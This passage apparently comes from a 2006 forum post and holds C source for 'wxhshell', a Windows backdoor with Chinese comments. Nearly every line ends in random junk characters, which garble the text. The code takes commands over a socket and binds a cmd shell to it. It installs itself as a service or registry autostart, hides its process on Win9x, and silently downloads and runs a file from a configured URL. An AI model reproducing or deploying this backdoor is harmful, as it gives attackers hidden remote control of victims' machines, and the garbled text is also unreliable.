    switch(cmd[0]) { ;]m;p,$  
  \#) YS  
  // 帮助 =p=/@FN  
  case '?': { :A @f[Y'9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )[ZXPD  
    break; |nnFjGC`~  
  } V V}"zc^  
  // 安装 f+s)A(?3  
  case 'i': { #V]8FW  
    if(Install()) |gu@b~8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]u$tKC  
    else W'"?5} (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )uo".n|n~B  
    break; eWex/ m  
    } fiA8W  
  // 卸载 Xxd D)I  
  case 'r': { 6Y,&q|K  
    if(Uninstall()) o -)[{o\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %$Py@g  
    else B; NK\5>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }s@IQay+  
    break; *C+[I  
    } =>3,]hnep  
  // 显示 wxhshell 所在路径 gzSm=6Qw0  
  case 'p': { +6jGU '}[  
    char svExeFile[MAX_PATH]; p!=8Pq.  
    strcpy(svExeFile,"\n\r"); t1mG]  
      strcat(svExeFile,ExeFile); u t4:LHF  
        send(wsh,svExeFile,strlen(svExeFile),0); Kg>B$fBx)  
    break; aZ\Z7(  
    } ':_gYA  
  // 重启 p=> +3  
  case 'b': { cQThpgha  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O{\<Izm`D  
    if(Boot(REBOOT)) G;u~H<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MmvOyK NZF  
    else { $^ ^M&[b-  
    closesocket(wsh); ',WJ'g  
    ExitThread(0); c U(z5th  
    } HDzeotD  
    break; @}!?}QU  
    } {v=[~H>bt  
  // 关机 dnwzf=+>e  
  case 'd': { V( 0Y   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `RE>gX  
    if(Boot(SHUTDOWN)) G9QvIXRi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*3u]Ebh  
    else { BxlhCu  
    closesocket(wsh); PHI c7*_  
    ExitThread(0); *?uUP  
    } ;'V[8`Z@  
    break; o~9*J)X5i  
    } i>CR{q  
  // 获取shell Ti0kfjhX7  
  case 's': { !.O[@A\.-  
    CmdShell(wsh); W1 xPK*  
    closesocket(wsh); J>#yA0QD2  
    ExitThread(0); c?c\6*O  
    break; V/"RCqY4  
  } ;Wk3>\nT-  
  // 退出 6 ]<yR> '  
  case 'x': { H\<0{#F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C\BKdx5;  
    CloseIt(wsh); yY49JZ  
    break; h;r^9g  
    } G,Eh8 HboK  
  // 离开 &Fuk+Cu{  
  case 'q': { Zj ` ;IYFG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f B]2"(  
    closesocket(wsh); OiZ-y7;k^  
    WSACleanup(); LCA+y1LP-_  
    exit(1); V3VTbgF  
    break; |r;>2b/ x  
        } #>lbpw  
  } ( )ldn?v  
  } 6}c!>n['  
o(l%k},a  
  // 提示信息 rOEBL|P0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :KG=3un]  
} tCR~z1  
  } m3P7*S5NJ7  
^*$!9~  
  return; IV':sNV  
} ~.U \Y  
hH;i_("i(h  
// shell模块句柄 f]?&R c2C  
int CmdShell(SOCKET sock) 06.8m;{N  
{ w^nA/=;r  
STARTUPINFO si; ]K>bSK^TX  
ZeroMemory(&si,sizeof(si)); z%+rI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [U^Cz{G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  g;AW  
PROCESS_INFORMATION ProcessInfo; b|kL*{;  
char cmdline[]="cmd"; `uusUw-Gf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z+wegF  
  return 0; c>/7E-T  
} lAC "7 Z?F  
j^U"GprA  
// 自身启动模式 tIod=a)  
int StartFromService(void) Zj ^e8u=T  
{ \j wxW6>  
typedef struct $w-@Oa*h9U  
{ 7MJ\*+T|03  
  DWORD ExitStatus; Ujvm|ml  
  DWORD PebBaseAddress; :cXN Fu\C  
  DWORD AffinityMask; X#ha*u~U  
  DWORD BasePriority; *x p_#  
  ULONG UniqueProcessId; D[6sy`5l  
  ULONG InheritedFromUniqueProcessId; ".#h$  
}   PROCESS_BASIC_INFORMATION; 7!Im|7Ty  
ttlMZLX{TJ  
PROCNTQSIP NtQueryInformationProcess; Y@MxKKuj  
UM21Cfqex  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d >zC[]1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ze5#6Vzd&  
wCv9VvF`  
  HANDLE             hProcess; u` (yT<>H  
  PROCESS_BASIC_INFORMATION pbi; $*_79F2zN  
\{a5]G(4s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I*cb\eU8Y  
  if(NULL == hInst ) return 0; 7o!t/WEEq  
{]m/15/$C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BAi0w{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c3PA<q[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {o*$|4q4  
> MRuoJ  
  if (!NtQueryInformationProcess) return 0; `}$bJCSF.n  
Jx`7W1%T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +eLL)uk  
  if(!hProcess) return 0; }jWg&<5+z  
M5_ t#[ [  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i=P}i8,^ =  
THK^u+~LM  
  CloseHandle(hProcess); w&VDe(:~  
TPKD'@:x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f;,*P,K  
if(hProcess==NULL) return 0; 0blbf@XA  
[fvjvN`  
HMODULE hMod; r5(efTgAd+  
char procName[255]; Q4]O d{[  
unsigned long cbNeeded; N$:-q'hX  
JlRNJ#h>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); swJQwY   
Y;g\ @j  
  CloseHandle(hProcess); =kK%,Mr  
.We{W{  
if(strstr(procName,"services")) return 1; // 以服务启动 c_.Fe'E  
 i?eVi  
  return 0; // 注册表启动 %hH> %  
} $ZB`4!JxG  
W* v3B.  
// 主模块 A>FWvlLw'm  
int StartWxhshell(LPSTR lpCmdLine) N Mx:Jh-YN  
{ NB.'>Sar  
  SOCKET wsl; #67 7,dn  
BOOL val=TRUE; ;7H^;+P  
  int port=0; +/M%%:>mY  
  struct sockaddr_in door; , \RR@~u'  
jPx}-_jM  
  if(wscfg.ws_autoins) Install(); {L.uLr_?e  
_nX8f &  
port=atoi(lpCmdLine); -m ;n}ECg  
08%Bx~88_%  
if(port<=0) port=wscfg.ws_port; K,U8vc  
37jrWe6xwp  
  WSADATA data; 44YKS>Cq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #ZnNJ\6  
7i#/eRui  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BD^1V( I/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2vsV :LS.  
  door.sin_family = AF_INET; /?z3*x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +~y>22Zfg  
  door.sin_port = htons(port); ,LmP >Q.  
~0?B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x_C0=Q|K3  
closesocket(wsl); d:#tN4y7(  
return 1; cJTwgm?  
}  tL<.B  
qTMY]=(  
  if(listen(wsl,2) == INVALID_SOCKET) { |pq9i)e&  
closesocket(wsl); _.BT%4  
return 1; :IfwhI)  
} SQx&4R.  
  Wxhshell(wsl); "Y- WY,H  
  WSACleanup(); qn |~YXn  
2\T\p<_20  
return 0; `QW=<Le?  
5nsoWqnE8  
} >&7^yXS  
?`O^;f  
// 以NT服务方式启动 _./s[{ek  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {I?)ODx7qC  
{ HXZ,"S  
DWORD   status = 0; O.xtY @'"  
  DWORD   specificError = 0xfffffff; /Bh*MH  
?k;htJcGv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &CN(PZv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @_#\qGY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -R\dgS3  
  serviceStatus.dwWin32ExitCode     = 0; fz2}M:u  
  serviceStatus.dwServiceSpecificExitCode = 0; E\;%,19Ob  
  serviceStatus.dwCheckPoint       = 0; #V#!@@c;?  
  serviceStatus.dwWaitHint       = 0; 1v,R<1)&  
y%kZ##  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u3pFH(  
  if (hServiceStatusHandle==0) return; %NC/zqPH~  
e6jA4X+a  
status = GetLastError(); *vvm8ik  
  if (status!=NO_ERROR) d~{$,"!-f  
{ v7`{6Pf_$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;/JXn  
    serviceStatus.dwCheckPoint       = 0; f:J-X~T_f  
    serviceStatus.dwWaitHint       = 0; wEJzLFCn  
    serviceStatus.dwWin32ExitCode     = status; O7uCTB+  
    serviceStatus.dwServiceSpecificExitCode = specificError; n&?)gKL0g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;YW@ 3F-h  
    return; WjM7s]ZRv  
  } w&Gc#-B  
MxKTKBxQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ &KkZ  
  serviceStatus.dwCheckPoint       = 0; |d*a~T0  
  serviceStatus.dwWaitHint       = 0; lmD [Cn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n 9`]}bnX  
} G43r85LO  
{P_7AM  
// 处理NT服务事件,比如:启动、停止 R<{Vgy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;z N1Qb  
{ +{I" e,Nk  
switch(fdwControl) %%>nM'4<  
{ $AE5n>ZD$  
case SERVICE_CONTROL_STOP: x-%RRm<V  
  serviceStatus.dwWin32ExitCode = 0; ftl?x'P%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M6Np!0G  
  serviceStatus.dwCheckPoint   = 0; e"NP]_vh,  
  serviceStatus.dwWaitHint     = 0; #Nco|v  
  { :2,NKdD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \hBzP^*"n  
  } ~dpf1fP  
  return; Qx8(w"k*  
case SERVICE_CONTROL_PAUSE: CS(2bj^6 D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .kPNWNrw  
  break; gt02Csdt  
case SERVICE_CONTROL_CONTINUE: ;+6><O!G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &);P|v`8  
  break; kV4Oq.E  
case SERVICE_CONTROL_INTERROGATE: 3JBXGT0gJ  
  break; 6ST(=X_C  
}; jY]51B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gsb^gd  
} N)R5#JX  
*L$_80  
// 标准应用程序主函数 " r o'?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1 ptyiy  
{ NX.5 u8Pf  
.8!\6=iJB  
// 获取操作系统版本 v:yU+s|kN  
OsIsNt=GetOsVer(); A1,q 3<<D%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5Pn.c!  
%DXBl:!Y`  
  // 从命令行安装 A8Fe@$<#8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vd  d  
HK~SD:d  
  // 下载执行文件 BI%XF 9{  
if(wscfg.ws_downexe) { #u8#< ,w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9q_{_%G%  
  WinExec(wscfg.ws_filenam,SW_HIDE); =W:=}ODD  
} ?6`B;_m  
Xo/H+[;X  
if(!OsIsNt) { cy;i1#1rO  
// 如果时win9x,隐藏进程并且设置为注册表启动 s8>y&b.  
HideProc(); CE c(2q+%i  
StartWxhshell(lpCmdLine); ]77f`<q<}!  
} [WG\w j.  
else *q k7e[IP  
  if(StartFromService()) m6n%?8t  
  // 以服务方式启动 S)j( %g  
  StartServiceCtrlDispatcher(DispatchTable); :-JryiI  
else /W BmR R  
  // 普通方式启动 QDJ "X  
  StartWxhshell(lpCmdLine);  QSY>8P  
h@G~' \8t  
return 0; LSJ.pBl\X  
}
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只看该作者 1 发表于: 2006-10-10
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